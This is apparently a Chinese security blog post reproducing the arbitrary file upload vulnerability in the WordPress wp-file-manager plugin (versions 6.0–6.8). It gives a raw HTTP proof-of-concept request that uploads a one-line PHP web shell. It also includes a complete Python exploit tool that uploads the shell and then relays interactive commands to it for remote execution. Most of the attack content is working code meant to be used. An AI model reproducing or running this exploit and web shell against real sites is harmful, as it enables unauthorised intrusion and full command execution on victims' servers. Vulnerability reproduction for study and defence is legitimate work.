我认为人不但要有科学、技术,还要有文化、艺术跟音乐。
钱老
前言
wordpress往往在插件暴漏出漏洞,这里是举例 file-manager 6.0-6.8 暴露的任意文件上传漏洞,由于对上传的文件没有严格的过滤导致出现缺陷。
环境搭建
这里的 phpstudy 使用的组件版本如下:
Apache2.4.39MySQL5.7.26PHP7.3.4nts
注:PHP的版本尽量不要太低,不然安装 wordpress 的时候会出现一些语法错误。
Wordpress5.4.1
https://cn.wordpress.org/wordpress-5.4.1-zh_CN.tar.gz
wp-file-manager6.0
链接: https://pan.baidu.com/s/1WSxTL1_DdcqsCPzc2rhK5Q 密码: eivg
漏洞复现
POC如下:
上传的路径因为大家安装 wordpress 的不同会有些许差异。
POST /wordpress/wordpress/wp-content/plugins/file-manager/lib/php/connector.minimal.php HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0Content-Type: multipart/form-data; boundary=---------------------------402078532114344024151352374707Content-Length: 507-----------------------------402078532114344024151352374707Content-Disposition: form-data; name="upload[0]"; filename="shell.php"Content-Type: image/jpeg <?php system($_GET["cmd"]);?>-----------------------------402078532114344024151352374707Content-Disposition: form-data; name="cmd" upload-----------------------------402078532114344024151352374707Content-Disposition: form-data; name="target" l1_Lw==-----------------------------402078532114344024151352374707--
这里需要注意的一点就是下面使用的边界要和 Content-Type 字段的 boundary 参数一直,不然会出错。
上传成功后响应的信息中包含上传文件的路径。直接访问执行远程命令成功。
EXP
这里附上大佬的 EXP。
https://github.com/xDro1d/wp-file-manager/blob/master/file_manager_upload.py
我也是想学习一下 EXP,于是在前人的基础之上做了一些修改。
处理命令函的模块大佬用的是 optparse,由于该模块已经停止维护,大家可以采用 argparse 模块。
我采用 cmd 模块进行交互。
文件上传是提交的data参数我是直接从 POC 拷贝过去,而作者是使用 \r\n 代替换行,而且还多了几个字段,我不明所以。。。
增加了如下语句,使得作者原本想打印有颜色的文字得以实现。
from colorama import initinit(autoreset=True)
由前面 Burp 的回放数据包可知,上传文件之后服务器的响应信息类似于 dict ,其实实际上是 str 类型,所以需要使用 json.loads(res.text) 将 str 转换为 dict,才能提权其中上传文件的路径。
1、整体代码
import cmdimport requests# 解决因 verify=false 导致日志中存在大量 warning 问题requests.packages.urllib3.disable_warnings()from hashlib import md5import randomimport jsonimport sysimport osfrom colorama import initinit(autoreset=True)url = None # 待扫描的网址vuln_url = None # 出现漏洞的网址filename = 'shell.php' # 上传文件名称webshell = "<?php system($_GET['cmd']);?>" # 一句话# 请求头header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0', 'Content-Type': 'multipart/form-data; boundary=---------------------------402078532114344024151352374707'}# 获取文件名:随机数+MD5的前6位def getfilename(): new_md5 = md5() new_md5.update(str(random.randint(1, 100)).encode()) return new_md5.hexdigest()[:6] + '.php'filename = getfilename()# 请求内容data = """-----------------------------402078532114344024151352374707Content-Disposition: form-data; name="upload[0]"; filename="{filename}"Content-Type: image/jpeg {webshell}-----------------------------402078532114344024151352374707Content-Disposition: form-data; name="cmd" upload-----------------------------402078532114344024151352374707Content-Disposition: form-data; name="target" l1_Lw==-----------------------------402078532114344024151352374707--""".format(filename=filename, webshell=webshell)# 颜色参数设置GREEN = '\033[92m'YELLOW = '\033[93m'RED = '\033[91m'ENDC = '\033[0m'class File_Manager(cmd.Cmd): '''***************** File Manager 使用说明 ****************** [*] 清除屏幕内容:\033[32m cls \033[0m [*] 打开帮助:\033[32m help \033[0m [*] 退出程序:\033[32mexit 或者 CTRL+C \033[0m [*] set [url] 设置 wordpress 网址 example:\033[32m set http://127.0.0.1/wordpress \033[0m [*] 攻击:\033[32m exploit \033[0m ''' def __init__(self): cmd.Cmd.__init__(self) self.prompt = "File Manager >>" # 自定义交互提示符 # intro 在进入交互式shell前输出的字符串,可以认定为标志语之类的。和 preloop 差不多 self.intro = r""" ______ _ _ __ __ | ____(_) | | \/ | | |__ _| | ___ | \ / | __ _ _ __ __ _ __ _ ___ _ __ | __| | | |/ _ \ | |\/| |/ _` | '_ \ / _` |/ _` |/ _ \ '__| | | | | | __/ | | | | (_| | | | | (_| | (_| | __/ | |_| |_|_|\___| |_| |_|\__,_|_| |_|\__,_|\__, |\___|_| __/ | |___/ """ + """ \033[32m Py3 File Manager \033[0m \033[93m author: 猪头 \033[0m """ def do_exit(self, line): # 输入 exit 退出 return True def do_help(self, line): # 输入 help 打印帮助信息 print(self.__doc__) def do_set(self, line): # 设置上传的URL global url, vuln_url url = line.strip() vuln_url = url + "/wp-content/plugins/file-manager/lib/php/connector.minimal.php" def do_exploit(self, line): # 利用代码 try: res = requests.post(url=vuln_url, headers=header, data=data, timeout=3, verify=False) result = json.loads(res.text) # 将str转换为dict if filename == result['added'][0]['url'].split('/')[-1]: print(GREEN + '[+]\t\t' + ENDC + YELLOW + 'File Uploaded Success\t\t' + ENDC) while True: command = input("请输入命令:") if command == "q": break exec_url = url + '/wp-content/plugins/file-manager/lib/files/' + \ filename + '?cmd=' + command.strip() exec_res = requests.get(url=exec_url) exec_res.encoding = 'gb2312' print(exec_res.text) else: print(RED + '[-]\t\tUploaded failed\t\t' + ENDC) except Exception as e: print(RED + '[-]\t\tUploaded failed\t\t' + ENDC) def do_cls(self, line): # 输入 cls 清除窗口 os.system("cls")if __name__ == '__main__': try: os.system("cls") exploit = File_Manager() exploit.cmdloop() except: sys.exit()
2、运行结果
尾声
我是匠心,一个在清流旁默默磨剑的匠人,期待那一天能利刃出鞘,仗剑走江湖。